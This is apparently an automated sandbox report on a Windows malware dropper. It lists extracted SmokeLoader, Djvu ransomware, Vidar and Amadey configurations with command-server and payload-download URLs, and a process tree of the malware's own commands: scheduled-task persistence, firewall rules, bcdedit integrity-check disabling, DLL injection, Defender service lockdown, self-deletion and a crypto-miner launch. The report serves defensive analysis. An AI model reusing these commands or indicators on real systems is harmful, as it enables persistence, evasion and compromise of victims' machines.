Analysis
- max time kernel
150s - max time network
150s - platform
windows7_x64 - resource
win7-20240215-en - resource tags
- submitted
02/03/2024, 01:01
General
- Target 8dec86d0a0c4034b6d688a0610742694517e0d31939c53db11b898c0ba7315c0.exe
- Size 259KB
- Sample240302-bc995afh7t
- SHA256 8dec86d0a0c4034b6d688a0610742694517e0d31939c53db11b898c0ba7315c0
Malware Config
Extracted
-
smokeloader
-
pub1
Extracted
-
smokeloader
-
2022
-
http://trad-einmyus.com/index.php
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http://tradein-myus.com/index.php
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http://trade-inmyus.com/index.php
Extracted
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djvu
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http://habrafa.com/test1/get.php
-
extension
.wisz
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offline_id
4p0Nzrg1q0ND5of5Gtp2UBjthSXuE8VxnMrd4vt1
-
payload_url
http://brusuax.com/dl/build2.exe
http://habrafa.com/files/1/build3.exe
-
ransomnote
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Extracted
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vidar
-
8
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9b0f0dc6c2ca6ddeab1d498d4cdc7267
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https://t.me/neoschats
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https://steamcommunity.com/profiles/76561199644883218
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profile_id_v2
9b0f0dc6c2ca6ddeab1d498d4cdc7267
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user_agent
Mozilla/5.0 (Linux; Android 11; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Mobile Safari/537.36 EdgA/97.0.1072.78
Extracted
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amadey
-
4.17
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http://185.215.113.32
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install_dir
00c07260dc
-
install_file
explorgu.exe
-
strings_key
461809bd97c251ba0c0c8450c7055f1d
-
url_paths
/yandex/index.php
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- DcRat 7 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Detect Vidar Stealer 5 IoCs
- Detected Djvu ransomware 14 IoCs
- Djvu Ransomware
Ransomware which is a variant of the STOP family.
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 8 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Windows security bypass 2 TTPs 7 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Modifies boot configuration data using bcdedit 14 IoCs
- XMRig Miner payload 1 IoCs
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Deletes itself 1 IoCs
- Executes dropped EXE 34 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 47 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Windows security modification 2 TTPs 7 IoCs
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- AutoIT Executable 3 IoCs
AutoIT scripts compiled to PE executables.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 9 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 7 IoCs
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies system certificate store 2 TTPs 12 IoCs
- NTFS ADS 2 IoCs
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 32 IoCs
- Suspicious use of SendNotifyMessage 12 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\8dec86d0a0c4034b6d688a0610742694517e0d31939c53db11b898c0ba7315c0.exe"C:\Users\Admin\AppData\Local\Temp\8dec86d0a0c4034b6d688a0610742694517e0d31939c53db11b898c0ba7315c0.exe"1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\7427.exeC:\Users\Admin\AppData\Local\Temp\7427.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7427.exeC:\Users\Admin\AppData\Local\Temp\7427.exe2⤵
- DcRat
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\c5abf4a2-0901-4389-b809-99ee19eae036" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
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C:\Users\Admin\AppData\Local\Temp\7427.exe"C:\Users\Admin\AppData\Local\Temp\7427.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7427.exe"C:\Users\Admin\AppData\Local\Temp\7427.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build2.exe"C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build2.exe"C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build2.exe"6⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1212 -s 14527⤵
- Loads dropped DLL
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build3.exe"C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build3.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build3.exe"C:\Users\Admin\AppData\Local\4d06cedf-be8d-40ad-98c8-69b2885440fa\build3.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- DcRat
- Creates scheduled task(s)
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B80A.exeC:\Users\Admin\AppData\Local\Temp\B80A.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2592 -s 1242⤵
- Loads dropped DLL
- Program crash
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\BBD2.bat" "1⤵
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 12⤵
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {185D08D6-9257-44A6-BE4B-04A76411FFD3} S-1-5-21-2248906074-2862704502-246302768-1000:GHPZRGFC\Admin:Interactive:[1]1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- DcRat
- Creates scheduled task(s)
-
-
-
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C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
- Executes dropped EXE
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-
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exe -SystemCheck2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exe" -SystemCheck809123⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exe7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exe7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\attrib.exe-o stratum+tcp://185.51.247.210:5040 -u -p x -t 44⤵
- Suspicious use of FindShellTrayWindow
- Views/modifies file attributes
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftUP.exe -SystemCheck2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Users\Admin\AppData\Local\Temp\C6DB.exeC:\Users\Admin\AppData\Local\Temp\C6DB.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\C6DB.exe"C:\Users\Admin\AppData\Local\Temp\C6DB.exe"2⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Manipulates WinMon driver.
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- DcRat
- Creates scheduled task(s)
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C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
-
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240302010201.log C:\Windows\Logs\CBS\CbsPersist_20240302010201.cab1⤵
- Drops file in Windows directory
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C:\Users\Admin\AppData\Local\Temp\DE91.exeC:\Users\Admin\AppData\Local\Temp\DE91.exe1⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\6EF.exeC:\Users\Admin\AppData\Local\Temp\6EF.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- NTFS ADS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txtC:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"2⤵
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C:\Windows\SysWOW64\schtasks.exeschtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"3⤵
- DcRat
- Creates scheduled task(s)
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\6EF.exe"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\6EF.exe" exit)2⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 03⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Local\Temp\EFB.exeC:\Users\Admin\AppData\Local\Temp\EFB.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
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C:\Users\Admin\AppData\Local\Temp\1BE7.exeC:\Users\Admin\AppData\Local\Temp\1BE7.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
4Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Replay Monitor
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Downloads
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
94308059B57B3142E455B38A6EB92015
CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
build2.exe
build3.exe
6EF.exe
6EF.exe
7427.exe
B80A.exe
BBD2.bat
C6DB.exe
C6DB.exe
C6DB.exe
Cab7C80.tmp
DE91.exe
EFB.exe
download.error
download.error
Tar8EB9.tmp
Tar9045.tmp
asacpiex.dll
injector.exe
injector.exe
ntkrnlmp.exe
osloader.exe
MicrosoftUP.exe
SysBackup.tmp
cached-microdesc-consensus.tmp
cached-microdescs.new
csrss.exe
B80A.exe
DE91.exe
injector.exe
patch.exe
dbghelp.dll
ntkrnlmp.exe
ntkrnlmp.exe
ntkrnlmp.exe
symsrv.dll
csrss.exe
memory/304-52-0x00000000002B0000-0x0000000000342000-memory.dmp
memory/304-54-0x00000000002B0000-0x0000000000342000-memory.dmp
memory/304-277-0x00000000002B0000-0x0000000000342000-memory.dmp
memory/560-562-0x0000000001100000-0x00000000015C0000-memory.dmp
memory/560-569-0x0000000002B20000-0x0000000002B21000-memory.dmp
memory/560-596-0x0000000002ED0000-0x0000000002ED1000-memory.dmp
memory/560-595-0x0000000000A20000-0x0000000000A21000-memory.dmp
memory/560-564-0x0000000077A90000-0x0000000077A92000-memory.dmp
memory/560-565-0x0000000001100000-0x00000000015C0000-memory.dmp
memory/560-566-0x0000000000EC0000-0x0000000000EC1000-memory.dmp
memory/560-567-0x00000000010E0000-0x00000000010E1000-memory.dmp
memory/560-568-0x0000000000DE0000-0x0000000000DE1000-memory.dmp
memory/560-570-0x0000000000C10000-0x0000000000C11000-memory.dmp
memory/560-571-0x0000000000D80000-0x0000000000D81000-memory.dmp
memory/560-572-0x0000000000E30000-0x0000000000E31000-memory.dmp
memory/560-593-0x0000000000D30000-0x0000000000D31000-memory.dmp
memory/560-594-0x0000000002B70000-0x0000000002B71000-memory.dmp
memory/560-583-0x00000000009D0000-0x00000000009D1000-memory.dmp
memory/560-600-0x0000000001100000-0x00000000015C0000-memory.dmp
memory/560-573-0x0000000000DD0000-0x0000000000DD1000-memory.dmp
memory/560-582-0x0000000000C20000-0x0000000000C21000-memory.dmp
memory/560-574-0x0000000002AD0000-0x0000000002AD1000-memory.dmp
memory/560-581-0x0000000000BC0000-0x0000000000BC1000-memory.dmp
memory/704-3590-0x00000000004F0000-0x0000000000613000-memory.dmp
memory/704-3587-0x00000000004F0000-0x0000000000613000-memory.dmp
memory/880-393-0x0000000000250000-0x0000000000350000-memory.dmp
memory/880-601-0x0000000000210000-0x0000000000211000-memory.dmp
memory/880-602-0x0000000000220000-0x0000000000221000-memory.dmp
memory/880-604-0x0000000000660000-0x0000000000661000-memory.dmp
memory/880-605-0x0000000000670000-0x0000000000671000-memory.dmp
memory/888-423-0x000000013FAF0000-0x0000000140752000-memory.dmp
memory/972-3614-0x0000000000170000-0x0000000000C60000-memory.dmp
memory/1212-107-0x0000000000400000-0x0000000000647000-memory.dmp
memory/1212-99-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1212-103-0x0000000000400000-0x0000000000647000-memory.dmp
memory/1212-276-0x0000000000400000-0x0000000000647000-memory.dmp
memory/1212-106-0x0000000000400000-0x0000000000647000-memory.dmp
memory/1216-4-0x0000000002150000-0x0000000002166000-memory.dmp
memory/1288-444-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/1288-430-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/1364-654-0x0000000000400000-0x00000000008DF000-memory.dmp
memory/1364-651-0x0000000000400000-0x00000000008DF000-memory.dmp
memory/1520-100-0x0000000002010000-0x0000000002110000-memory.dmp
memory/1520-102-0x0000000000230000-0x0000000000264000-memory.dmp
memory/1560-403-0x00000000036A0000-0x0000000003A98000-memory.dmp
memory/1560-405-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/1560-401-0x00000000036A0000-0x0000000003A98000-memory.dmp
memory/1560-415-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/1856-216-0x0000000000900000-0x0000000000A00000-memory.dmp
memory/1856-218-0x0000000000220000-0x0000000000224000-memory.dmp
memory/2088-402-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/2088-386-0x0000000003880000-0x0000000003C78000-memory.dmp
memory/2088-404-0x0000000003880000-0x0000000003C78000-memory.dmp
memory/2088-390-0x0000000003C80000-0x000000000456B000-memory.dmp
memory/2088-389-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/2088-387-0x0000000003880000-0x0000000003C78000-memory.dmp
memory/2516-586-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/2516-418-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/2516-543-0x0000000000400000-0x0000000001E18000-memory.dmp
memory/2516-414-0x0000000003940000-0x0000000003D38000-memory.dmp
memory/2516-417-0x0000000003940000-0x0000000003D38000-memory.dmp
memory/2568-28-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2568-51-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2568-27-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2568-24-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2568-22-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2592-295-0x0000000000100000-0x0000000000101000-memory.dmp
memory/2592-288-0x0000000000200000-0x0000000000AF1000-memory.dmp
memory/2592-287-0x00000000000F0000-0x00000000000F1000-memory.dmp
memory/2592-285-0x00000000000F0000-0x00000000000F1000-memory.dmp
memory/2592-283-0x00000000000F0000-0x00000000000F1000-memory.dmp
memory/2592-294-0x0000000000200000-0x0000000000AF1000-memory.dmp
memory/2592-290-0x0000000077AA0000-0x0000000077AA1000-memory.dmp
memory/2632-653-0x0000000000400000-0x00000000008DF000-memory.dmp
memory/2632-703-0x0000000000400000-0x00000000008DF000-memory.dmp
memory/2652-19-0x0000000000260000-0x00000000002F2000-memory.dmp
memory/2652-17-0x0000000000260000-0x00000000002F2000-memory.dmp
memory/2652-275-0x0000000003360000-0x000000000347B000-memory.dmp
memory/2652-700-0x00000000009E2000-0x00000000009F2000-memory.dmp
memory/2652-21-0x0000000003360000-0x000000000347B000-memory.dmp
memory/2916-234-0x0000000000400000-0x0000000000406000-memory.dmp
memory/2916-232-0x0000000000400000-0x0000000000406000-memory.dmp
memory/2916-219-0x0000000000400000-0x0000000000406000-memory.dmp
memory/2952-1-0x0000000001B60000-0x0000000001C60000-memory.dmp
memory/2952-5-0x0000000000400000-0x0000000001A2D000-memory.dmp
memory/2952-3-0x0000000000400000-0x0000000001A2D000-memory.dmp
memory/2952-2-0x0000000000220000-0x000000000022B000-memory.dmp
memory/2984-95-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-61-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-62-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-77-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-78-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-87-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-96-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-156-0x0000000000400000-0x0000000000537000-memory.dmp
memory/2984-108-0x0000000000400000-0x0000000000537000-memory.dmp
memory/3000-694-0x0000000000570000-0x0000000000693000-memory.dmp
memory/3000-673-0x0000000000570000-0x0000000000693000-memory.dmp